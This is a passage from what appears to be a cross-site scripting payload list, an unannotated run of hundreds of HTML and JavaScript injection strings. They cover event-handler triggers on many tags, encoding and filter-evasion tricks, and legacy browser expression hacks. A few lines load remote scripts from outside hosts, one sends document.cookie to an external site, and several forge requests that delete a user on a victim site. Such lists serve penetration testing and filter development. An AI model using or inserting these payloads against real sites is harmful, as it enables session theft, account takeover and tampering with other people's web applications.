onclick="alert(1)">test</thead> <thead oncontextmenu="alert(1)">test</thead> <thead oncopy="alert(1)" contenteditable>test</thead> <thead oncut="alert(1)" contenteditable>test</thead> <thead ondblclick="alert(1)">test</thead> <thead onfocusout=alert(1) tabindex=1 id=x></thead><input autofocus> <thead onkeydown="alert(1)" contenteditable>test</thead> <thead onkeypress="alert(1)" contenteditable>test</thead> <thead onkeyup="alert(1)" contenteditable>test</thead> <thead onmousedown="alert(1)">test</thead> <thead onmouseenter="alert(1)">test</thead> <thead onmouseleave="alert(1)">test</thead> <thead onmousemove="alert(1)">test</thead> <thead onmouseout="alert(1)">test</thead> <thead onmouseover="alert(1)">test</thead> <thead onmouseup="alert(1)">test</thead> <thead onpaste="alert(1)" contenteditable>test</thead> <th id=x tabindex=1 onactivate=alert(1)></th> <th id=x tabindex=1 onbeforeactivate=alert(1)></th> <th id=x tabindex=1 onbeforedeactivate=alert(1)></th><input autofocus> <th id=x tabindex=1 ondeactivate=alert(1)></th><input id=y autofocus> <th id=x tabindex=1 onfocus=alert(1)></th> <th id=x tabindex=1 onfocusin=alert(1)></th> <th onbeforecopy="alert(1)" contenteditable>test</th> <th onbeforecut="alert(1)" contenteditable>test</th> <th onbeforepaste="alert(1)" contenteditable>test</th> <th onblur=alert(1) tabindex=1 id=x></th><input autofocus> <th onclick="alert(1)">test</th> <th oncontextmenu="alert(1)">test</th> <th oncopy="alert(1)" contenteditable>test</th> <th oncut="alert(1)" contenteditable>test</th> <th ondblclick="alert(1)">test</th> <th onfocusout=alert(1) tabindex=1 id=x></th><input autofocus> <th onkeydown="alert(1)" contenteditable>test</th> <th onkeypress="alert(1)" contenteditable>test</th> <th onkeyup="alert(1)" contenteditable>test</th> <th onmousedown="alert(1)">test</th> <th onmouseenter="alert(1)">test</th> <th onmouseleave="alert(1)">test</th> <th onmousemove="alert(1)">test</th> <th onmouseout="alert(1)">test</th> <th onmouseover="alert(1)">test</th> <th onmouseup="alert(1)">test</th> <th onpaste="alert(1)" contenteditable>test</th> <time draggable="true" ondrag="alert(1)">test</time> <time draggable="true" ondragend="alert(1)">test</time> <time draggable="true" ondragenter="alert(1)">test</time> <time draggable="true" ondragleave="alert(1)">test</time> <time draggable="true" ondragstart="alert(1)">test</time> <time id=x tabindex=1 onactivate=alert(1)></time> <time id=x tabindex=1 onbeforeactivate=alert(1)></time> <time id=x tabindex=1 onbeforedeactivate=alert(1)></time><input autofocus> <time id=x tabindex=1 ondeactivate=alert(1)></time><input id=y autofocus> <time id=x tabindex=1 onfocus=alert(1)></time> <time id=x tabindex=1 onfocusin=alert(1)></time> <time onbeforecopy="alert(1)" contenteditable>test</time> <time onbeforecut="alert(1)" contenteditable>test</time> <time onbeforepaste="alert(1)" contenteditable>test</time> <time onblur=alert(1) tabindex=1 id=x></time><input autofocus> <time onclick="alert(1)">test</time> <time oncontextmenu="alert(1)">test</time> <time oncopy="alert(1)" contenteditable>test</time> <time oncut="alert(1)" contenteditable>test</time> <time ondblclick="alert(1)">test</time> <time onfocusout=alert(1) tabindex=1 id=x></time><input autofocus> <time onkeydown="alert(1)" contenteditable>test</time> <time onkeypress="alert(1)" contenteditable>test</time> <time onkeyup="alert(1)" contenteditable>test</time> <time onmousedown="alert(1)">test</time> <time onmouseenter="alert(1)">test</time> <time onmouseleave="alert(1)">test</time> <time onmousemove="alert(1)">test</time> <time onmouseout="alert(1)">test</time> <time onmouseover="alert(1)">test</time> <time onmouseup="alert(1)">test</time> <time onpaste="alert(1)" contenteditable>test</time> <title draggable="true" ondrag="alert(1)">test</title> <title draggable="true" ondragend="alert(1)">test</title> <title draggable="true" ondragenter="alert(1)">test</title> <title draggable="true" ondragleave="alert(1)">test</title> <title draggable="true" ondragstart="alert(1)">test</title> <title id=x tabindex=1 onactivate=alert(1)></title> <title id=x tabindex=1 onbeforeactivate=alert(1)></title> <title id=x tabindex=1 onbeforedeactivate=alert(1)></title><input autofocus> <title id=x tabindex=1 ondeactivate=alert(1)></title><input id=y autofocus> <title id=x tabindex=1 onfocus=alert(1)></title> <title id=x tabindex=1 onfocusin=alert(1)></title> <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> <title onbeforecopy="alert(1)" contenteditable>test</title> <title onbeforecut="alert(1)" contenteditable>test</title> <title onbeforepaste="alert(1)" contenteditable>test</title> <title onblur=alert(1) tabindex=1 id=x></title><input autofocus> <title onclick="alert(1)">test</title> <title oncontextmenu="alert(1)">test</title> <title oncopy="alert(1)" contenteditable>test</title> <title oncut="alert(1)" contenteditable>test</title> <title ondblclick="alert(1)">test</title> <title onfocusout=alert(1) tabindex=1 id=x></title><input autofocus> <title onkeydown="alert(1)" contenteditable>test</title> <title onkeypress="alert(1)" contenteditable>test</title> <title onkeyup="alert(1)" contenteditable>test</title> <title onmousedown="alert(1)">test</title> <title onmouseenter="alert(1)">test</title> <title onmouseleave="alert(1)">test</title> <title onmousemove="alert(1)">test</title> <title onmouseout="alert(1)">test</title> <title onmouseover="alert(1)">test</title> <title onmouseup="alert(1)">test</title> <title onpaste="alert(1)" contenteditable>test</title> <title onpropertychange=javascript:alert(1)></title><title title=> <track draggable="true" ondrag="alert(1)">test</track> <track draggable="true" ondragend="alert(1)">test</track> <track draggable="true" ondragenter="alert(1)">test</track> <track draggable="true" ondragleave="alert(1)">test</track> <track draggable="true" ondragstart="alert(1)">test</track> <track id=x tabindex=1 onactivate=alert(1)></track> <track id=x tabindex=1 onbeforeactivate=alert(1)></track> <track id=x tabindex=1 onbeforedeactivate=alert(1)></track><input autofocus> <track id=x tabindex=1 ondeactivate=alert(1)></track><input id=y autofocus> <track id=x tabindex=1 onfocus=alert(1)></track> <track id=x tabindex=1 onfocusin=alert(1)></track> <track onbeforecopy="alert(1)" contenteditable>test</track> <track onbeforecut="alert(1)" contenteditable>test</track> <track onbeforepaste="alert(1)" contenteditable>test</track> <track onblur=alert(1) tabindex=1 id=x></track><input autofocus> <track onclick="alert(1)">test</track> <track oncontextmenu="alert(1)">test</track> <track oncopy="alert(1)" contenteditable>test</track> <track oncut="alert(1)" contenteditable>test</track> <track ondblclick="alert(1)">test</track> <track onfocusout=alert(1) tabindex=1 id=x></track><input autofocus> <track onkeydown="alert(1)" contenteditable>test</track> <track onkeypress="alert(1)" contenteditable>test</track> <track onkeyup="alert(1)" contenteditable>test</track> <track onmousedown="alert(1)">test</track> <track onmouseenter="alert(1)">test</track> <track onmouseleave="alert(1)">test</track> <track onmousemove="alert(1)">test</track> <track onmouseout="alert(1)">test</track> <track onmouseover="alert(1)">test</track> <track onmouseup="alert(1)">test</track> <track onpaste="alert(1)" contenteditable>test</track> <tr draggable="true" ondrag="alert(1)">test</tr> <tr draggable="true" ondragend="alert(1)">test</tr> <tr draggable="true" ondragenter="alert(1)">test</tr> <tr draggable="true" ondragleave="alert(1)">test</tr> <tr draggable="true" ondragstart="alert(1)">test</tr> <tr id=x tabindex=1 onactivate=alert(1)></tr> <tr id=x tabindex=1 onbeforeactivate=alert(1)></tr> <tr id=x tabindex=1 onbeforedeactivate=alert(1)></tr><input autofocus> <tr id=x tabindex=1 ondeactivate=alert(1)></tr><input id=y autofocus> <tr id=x tabindex=1 onfocus=alert(1)></tr> <tr id=x tabindex=1 onfocusin=alert(1)></tr> <tr onbeforecopy="alert(1)" contenteditable>test</tr> <tr onbeforecut="alert(1)" contenteditable>test</tr> <tr onbeforepaste="alert(1)" contenteditable>test</tr> <tr onblur=alert(1) tabindex=1 id=x></tr><input autofocus> <tr onclick="alert(1)">test</tr> <tr oncontextmenu="alert(1)">test</tr> <tr oncopy="alert(1)" contenteditable>test</tr> <tr oncut="alert(1)" contenteditable>test</tr> <tr ondblclick="alert(1)">test</tr> <tr onfocusout=alert(1) tabindex=1 id=x></tr><input autofocus> <tr onkeydown="alert(1)" contenteditable>test</tr> <tr onkeypress="alert(1)" contenteditable>test</tr> <tr onkeyup="alert(1)" contenteditable>test</tr> <tr onmousedown="alert(1)">test</tr> <tr onmouseenter="alert(1)">test</tr> <tr onmouseleave="alert(1)">test</tr> <tr onmousemove="alert(1)">test</tr> <tr onmouseout="alert(1)">test</tr> <tr onmouseover="alert(1)">test</tr> <tr onmouseup="alert(1)">test</tr> <tr onpaste="alert(1)" contenteditable>test</tr> <tt draggable="true" ondrag="alert(1)">test</tt> <tt draggable="true" ondragend="alert(1)">test</tt> <tt draggable="true" ondragenter="alert(1)">test</tt> <tt draggable="true" ondragleave="alert(1)">test</tt> <tt draggable="true" ondragstart="alert(1)">test</tt> <tt id=x tabindex=1 onactivate=alert(1)></tt> <tt id=x tabindex=1 onbeforeactivate=alert(1)></tt> <tt id=x tabindex=1 onbeforedeactivate=alert(1)></tt><input autofocus> <tt id=x tabindex=1 ondeactivate=alert(1)></tt><input id=y autofocus> <tt id=x tabindex=1 onfocus=alert(1)></tt> <tt id=x tabindex=1 onfocusin=alert(1)></tt> <tt onbeforecopy="alert(1)" contenteditable>test</tt> <tt onbeforecut="alert(1)" contenteditable>test</tt> <tt onbeforepaste="alert(1)" contenteditable>test</tt> <tt onblur=alert(1) tabindex=1 id=x></tt><input autofocus> <tt onclick="alert(1)">test</tt> <tt oncontextmenu="alert(1)">test</tt> <tt oncopy="alert(1)" contenteditable>test</tt> <tt oncut="alert(1)" contenteditable>test</tt> <tt ondblclick="alert(1)">test</tt> <tt onfocusout=alert(1) tabindex=1 id=x></tt><input autofocus> <tt onkeydown="alert(1)" contenteditable>test</tt> <tt onkeypress="alert(1)" contenteditable>test</tt> <tt onkeyup="alert(1)" contenteditable>test</tt> <tt onmousedown="alert(1)">test</tt> <tt onmouseenter="alert(1)">test</tt> <tt onmouseleave="alert(1)">test</tt> <tt onmousemove="alert(1)">test</tt> <tt onmouseout="alert(1)">test</tt> <tt onmouseover="alert(1)">test</tt> <tt onmouseup="alert(1)">test</tt> <tt onpaste="alert(1)" contenteditable>test</tt> <u draggable="true" ondrag="alert(1)">test</u> <u draggable="true" ondragend="alert(1)">test</u> <u draggable="true" ondragenter="alert(1)">test</u> <u draggable="true" ondragleave="alert(1)">test</u> <u draggable="true" ondragstart="alert(1)">test</u> <u id=x tabindex=1 onactivate=alert(1)></u> <u id=x tabindex=1 onbeforeactivate=alert(1)></u> <u id=x tabindex=1 onbeforedeactivate=alert(1)></u><input autofocus> <u id=x tabindex=1 ondeactivate=alert(1)></u><input id=y autofocus> <u id=x tabindex=1 onfocus=alert(1)></u> <u id=x tabindex=1 onfocusin=alert(1)></u> <ul draggable="true" ondrag="alert(1)">test</ul> <ul draggable="true" ondragend="alert(1)">test</ul> <ul draggable="true" ondragenter="alert(1)">test</ul> <ul draggable="true" ondragleave="alert(1)">test</ul> <ul draggable="true" ondragstart="alert(1)">test</ul> <ul id=x tabindex=1 onactivate=alert(1)></ul> <ul id=x tabindex=1 onbeforeactivate=alert(1)></ul> <ul id=x tabindex=1 onbeforedeactivate=alert(1)></ul><input autofocus> <ul id=x tabindex=1 ondeactivate=alert(1)></ul><input id=y autofocus> <ul id=x tabindex=1 onfocus=alert(1)></ul> <ul id=x tabindex=1 onfocusin=alert(1)></ul> <ul onbeforecopy="alert(1)" contenteditable>test</ul> <ul onbeforecut="alert(1)" contenteditable>test</ul> <ul onbeforepaste="alert(1)" contenteditable>test</ul> <ul onblur=alert(1) tabindex=1 id=x></ul><input autofocus> <ul onclick="alert(1)">test</ul> <ul oncontextmenu="alert(1)">test</ul> <ul oncopy="alert(1)" contenteditable>test</ul> <ul oncut="alert(1)" contenteditable>test</ul> <ul ondblclick="alert(1)">test</ul> <ul onfocusout=alert(1) tabindex=1 id=x></ul><input autofocus> <ul onkeydown="alert(1)" contenteditable>test</ul> <ul onkeypress="alert(1)" contenteditable>test</ul> <ul onkeyup="alert(1)" contenteditable>test</ul> <ul onmousedown="alert(1)">test</ul> <ul onmouseenter="alert(1)">test</ul> <ul onmouseleave="alert(1)">test</ul> <ul onmousemove="alert(1)">test</ul> <ul onmouseout="alert(1)">test</ul> <ul onmouseover="alert(1)">test</ul> <ul onmouseup="alert(1)">test</ul> <ul onpaste="alert(1)" contenteditable>test</ul> <u onbeforecopy="alert(1)" contenteditable>test</u> <u onbeforecut="alert(1)" contenteditable>test</u> <u onbeforepaste="alert(1)" contenteditable>test</u> <u onblur=alert(1) tabindex=1 id=x></u><input autofocus> <u onclick="alert(1)">test</u> <u oncontextmenu="alert(1)">test</u> <u oncopy="alert(1)" contenteditable>test</u> <u oncut="alert(1)" contenteditable>test</u> <u ondblclick="alert(1)">test</u> <u onfocusout=alert(1) tabindex=1 id=x></u><input autofocus> <u onkeydown="alert(1)" contenteditable>test</u> <u onkeypress="alert(1)" contenteditable>test</u> <u onkeyup="alert(1)" contenteditable>test</u> <u onmousedown="alert(1)">test</u> <u onmouseenter="alert(1)">test</u> <u onmouseleave="alert(1)">test</u> <u onmousemove="alert(1)">test</u> <u onmouseout="alert(1)">test</u> <u onmouseover="alert(1)">test</u> <u onmouseup="alert(1)">test</u> <u onpaste="alert(1)" contenteditable>test</u> <var draggable="true" ondrag="alert(1)">test</var> <var draggable="true" ondragend="alert(1)">test</var> <var draggable="true" ondragenter="alert(1)">test</var> <var draggable="true" ondragleave="alert(1)">test</var> <var draggable="true" ondragstart="alert(1)">test</var> <var id=x tabindex=1 onactivate=alert(1)></var> <var id=x tabindex=1 onbeforeactivate=alert(1)></var> <var id=x tabindex=1 onbeforedeactivate=alert(1)></var><input autofocus> <var id=x tabindex=1 ondeactivate=alert(1)></var><input id=y autofocus> <var id=x tabindex=1 onfocus=alert(1)></var> <var id=x tabindex=1 onfocusin=alert(1)></var> <var onbeforecopy="alert(1)" contenteditable>test</var> <var onbeforecut="alert(1)" contenteditable>test</var> <var onbeforepaste="alert(1)" contenteditable>test</var> <var onblur=alert(1) tabindex=1 id=x></var><input autofocus> <var onclick="alert(1)">test</var> <var oncontextmenu="alert(1)">test</var> <var oncopy="alert(1)" contenteditable>test</var> <var oncut="alert(1)" contenteditable>test</var> <var ondblclick="alert(1)">test</var> <var onfocusout=alert(1) tabindex=1 id=x></var><input autofocus> <var onkeydown="alert(1)" contenteditable>test</var> <var onkeypress="alert(1)" contenteditable>test</var> <var onkeyup="alert(1)" contenteditable>test</var> <var onmousedown="alert(1)">test</var> <var onmouseenter="alert(1)">test</var> <var onmouseleave="alert(1)">test</var> <var onmousemove="alert(1)">test</var> <var onmouseout="alert(1)">test</var> <var onmouseover="alert(1)">test</var> <var onmouseover="prompt(1)">On Mouse Over</var> <var onmouseover="prompt(1)">On Mouse Over</var>? <var onmouseup="alert(1)">test</var> <var onpaste="alert(1)" contenteditable>test</var> <video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23 <video/poster/onerror=alert()> <video><source onerror="javascript:javascript:alert(1)"> <video><source onerror=alert(1) src=1></video> <video><track default onload=alert(1) src="data:text/vtt,WEBVTT"></video> <video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video autoplay controls onseeked=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video> <video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video> <video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video draggable="true" ondrag="alert(1)">test</video> <video draggable="true" ondragend="alert(1)">test</video> <video draggable="true" ondragenter="alert(1)">test</video> <video draggable="true" ondragleave="alert(1)">test</video> <video draggable="true" ondragstart="alert(1)">test</video> <video id=x controls onfocus=alert(1)><source src="validvideo.mp4" type=video/mp4></video> <video id=x controls onfocusin=alert(1)><source src="validvideo.mp4" type=video/mp4></video> <video id=x tabindex=1 onactivate=alert(1)></video> <video id=x tabindex=1 onbeforeactivate=alert(1)></video> <video id=x tabindex=1 onbeforedeactivate=alert(1)></video><input autofocus> <video id=x tabindex=1 ondeactivate=alert(1)></video><input id=y autofocus> <video onbeforecopy="alert(1)" contenteditable>test</video> <video onbeforecut="alert(1)" contenteditable>test</video> <video onbeforepaste="alert(1)" contenteditable>test</video> <video onblur=alert(1) tabindex=1 id=x></video><input autofocus> <video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video onclick="alert(1)">test</video> <video oncontextmenu="alert(1)">test</video> <video oncopy="alert(1)" contenteditable>test</video> <video oncut="alert(1)" contenteditable>test</video> <video ondblclick="alert(1)">test</video> <video onerror="javascript:javascript:alert(1)"><source> <video onfocusout=alert(1) tabindex=1 id=x></video><input autofocus> <video onkeydown="alert(1)" contenteditable>test</video> <video onkeypress="alert(1)" contenteditable>test</video> <video onkeyup="alert(1)" contenteditable>test</video> <video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> <video onloadstart=alert(1)><source> <video onmousedown="alert(1)">test</video> <video onmouseenter="alert(1)">test</video> <video onmouseleave="alert(1)">test</video> <video onmousemove="alert(1)">test</video> <video onmouseout="alert(1)">test</video> <video onmouseover="alert(1)">test</video> <video onmouseup="alert(1)">test</video> <video onpaste="alert(1)" contenteditable>test</video> <video poster=javascript:javascript:alert(1)// <video src/onerror=alert(1)> <video src=1 href=1 onerror="javascript:alert(1)"></video> <video src=1 onerror=alert(1)> <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> <w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z <wbr draggable="true" ondrag="alert(1)">test</wbr> <wbr draggable="true" ondragend="alert(1)">test</wbr> <wbr draggable="true" ondragenter="alert(1)">test</wbr> <wbr draggable="true" ondragleave="alert(1)">test</wbr> <wbr draggable="true" ondragstart="alert(1)">test</wbr> <wbr id=x tabindex=1 onactivate=alert(1)></wbr> <wbr id=x tabindex=1 onbeforeactivate=alert(1)></wbr> <wbr id=x tabindex=1 onbeforedeactivate=alert(1)></wbr><input autofocus> <wbr id=x tabindex=1 ondeactivate=alert(1)></wbr><input id=y autofocus> <wbr id=x tabindex=1 onfocus=alert(1)></wbr> <wbr id=x tabindex=1 onfocusin=alert(1)></wbr> <wbr onbeforecopy="alert(1)" contenteditable>test</wbr> <wbr onbeforecut="alert(1)" contenteditable>test</wbr> <wbr onbeforepaste="alert(1)" contenteditable>test</wbr> <wbr onblur=alert(1) tabindex=1 id=x></wbr><input autofocus> <wbr onclick="alert(1)">test</wbr> <wbr oncontextmenu="alert(1)">test</wbr> <wbr oncopy="alert(1)" contenteditable>test</wbr> <wbr oncut="alert(1)" contenteditable>test</wbr> <wbr ondblclick="alert(1)">test</wbr> <wbr onfocusout=alert(1) tabindex=1 id=x></wbr><input autofocus> <wbr onkeydown="alert(1)" contenteditable>test</wbr> <wbr onkeypress="alert(1)" contenteditable>test</wbr> <wbr onkeyup="alert(1)" contenteditable>test</wbr> <wbr onmousedown="alert(1)">test</wbr> <wbr onmouseenter="alert(1)">test</wbr> <wbr onmouseleave="alert(1)">test</wbr> <wbr onmousemove="alert(1)">test</wbr> <wbr onmouseout="alert(1)">test</wbr> <wbr onmouseover="alert(1)">test</wbr> <wbr onmouseup="alert(1)">test</wbr> <wbr onpaste="alert(1)" contenteditable>test</wbr> <w contenteditable id=x onfocus=alert()> <x 1="1"onxxx=1 <x 1=">" onxxx=1 <x 1='1'onxxx=1 <x%0Aonxxx=1 <x%0Conxxx=1 <x%0Donxxx=1 <x%2Fonxxx=1 <x %6Fnxxx=1 <x%09onxxx=1 <x '="foo"><x foo='><img src=x onerror=alert(62)//'> <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> <x/onmouSeenter=window[`\x61\x6c\x65\x72\x74`]`1337` <x/onxxx=1 <x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)> <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> <x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/> <x </onxxx=1 <x OnXxx=1 <x contenteditable onblur=alert(1)>lose focus! <x contenteditable onfocus=alert(1)>focus this! <x contenteditable oninput=alert(1)>input here! <x contenteditable onkeydown=alert(1)>press any key! <x contenteditable onkeypress=alert(1)>press any key! <x contenteditable onkeyup=alert(1)>press any key! <x contenteditable onpaste=alert(1)>paste here! <xml:namespace prefix="t"> <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> <xml src="javascript:document.vulnerable=true;"> <xmp draggable="true" ondrag="alert(1)">test</xmp> <xmp draggable="true" ondragend="alert(1)">test</xmp> <xmp draggable="true" ondragenter="alert(1)">test</xmp> <xmp draggable="true" ondragleave="alert(1)">test</xmp> <xmp draggable="true" ondragstart="alert(1)">test</xmp> <xmp id=x tabindex=1 onactivate=alert(1)></xmp> <xmp id=x tabindex=1 onbeforeactivate=alert(1)></xmp> <xmp id=x tabindex=1 onbeforedeactivate=alert(1)></xmp><input autofocus> <xmp id=x tabindex=1 ondeactivate=alert(1)></xmp><input id=y autofocus> <xmp id=x tabindex=1 onfocus=alert(1)></xmp> <xmp id=x tabindex=1 onfocusin=alert(1)></xmp> <xmp onbeforecopy="alert(1)" contenteditable>test</xmp> <xmp onbeforecut="alert(1)" contenteditable>test</xmp> <xmp onbeforepaste="alert(1)" contenteditable>test</xmp> <xmp onblur=alert(1) tabindex=1 id=x></xmp><input autofocus> <xmp onclick="alert(1)">test</xmp> <xmp oncontextmenu="alert(1)">test</xmp> <xmp oncopy="alert(1)" contenteditable>test</xmp> <xmp oncut="alert(1)" contenteditable>test</xmp> <xmp ondblclick="alert(1)">test</xmp> <xmp onfocusout=alert(1) tabindex=1 id=x></xmp><input autofocus> <xmp onkeydown="alert(1)" contenteditable>test</xmp> <xmp onkeypress="alert(1)" contenteditable>test</xmp> <xmp onkeyup="alert(1)" contenteditable>test</xmp> <xmp onmousedown="alert(1)">test</xmp> <xmp onmouseenter="alert(1)">test</xmp> <xmp onmouseleave="alert(1)">test</xmp> <xmp onmousemove="alert(1)">test</xmp> <xmp onmouseout="alert(1)">test</xmp> <xmp onmouseover="alert(1)">test</xmp> <xmp onmouseup="alert(1)">test</xmp> <xmp onpaste="alert(1)" contenteditable>test</xmp> <x o%6Exxx=1 <x on%78xx=1 <x onafterscriptexecute=alert(1)> <x onanimationend=alert(1)><style>x{animation:s}@keyframes s{} <x onauxclick=alert(1)>right click this! <x onbeforescriptexecute=alert(1)> <x onclick=alert(1)>click this! <x oncontextmenu=alert(1)>right click this! <x oncopy=alert(1)>copy this! <x oncut=alert(1)>copy this! <x ondblclick=alert(1)>double click this! <x ondrag=alert(1)>drag this! <x onmousedown=alert(1)>click this! <x onmouseenter=alert(1)> <x onmousemove=alert(1)>hover this! <x onmouseout=alert(1)>hover this! <x onmouseover=alert(1)>hover this! <x onmouseup=alert(1)>click this! <x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{} <x onxxx%3D1 <x onxxx=1 onxxx=1 <x onxxx=alert(1) 1=' <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xss<script>>&28;prompt();&28;<</script>/xss> <xss class=progress-bar-animated onanimationstart=alert(1)> <xss id=x tabindex=1 onactivate=alert(1)></xss> <xss id=x tabindex=1 onbeforeactivate=alert(1)></xss> <xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus> <xss id=x tabindex=1 onblur=alert(1)></xss><input autofocus> <xss id=x tabindex=1 ondeactivate=alert(1)></xss><input autofocus> <xss id=x tabindex=1 onfocus=alert(1)></xss> <xss id=x tabindex=1 onfocusin=alert(1)></xss> <xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus> <x style="background:url('x;color:red;/*')">XXX</x> <x style="behavior:url(%(sct)s)"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)> <~/XSS STYLE=xss:expression(alert('XSS'))> = ='><script>alert("xss")</script> >"' >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a; >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)> >"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt> >"><script>alert("XSS")</script>& >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22> ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr ><object+data=//14.rs> > <script>alert(4)</script> ><script src=//pastebin.com/raw/WDWWYaLA></script> ><svg onload=alert(1)>?a=reader >>> vectors() >test--> ?"></script><base%20c%3D=href%3Dhttps:\mysite> ?p[<script>`]=`/alert(1)</script> @font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";} A=alert;A(1) ABC<div style="x:\x00expression(javascript:alert(1)">DEF ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF ABC<div style="x:\x09expression(javascript:alert(1)">DEF ABC<div style="x:\x20expression(javascript:alert(1)">DEF ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF ABC<div style="x:expression\x00(javascript:alert(1)">DEF ABC<div style="x:expression\x5C(javascript:alert(1)">DEF ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF Execute(MsgBox(chr(88)&chr(83)&chr(83)))< GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script> LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style> Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser SRC= <IMG 6;avascript:alert('XSS')> X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > [1].find(alert) [<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ] [B] [C] [D] [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> []['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')() [color=red' onmouseover="alert('xss')"]mouse over[/color] [color=red width=expression(alert(123))][color] \74svg o\156load\75alert\501\51\76 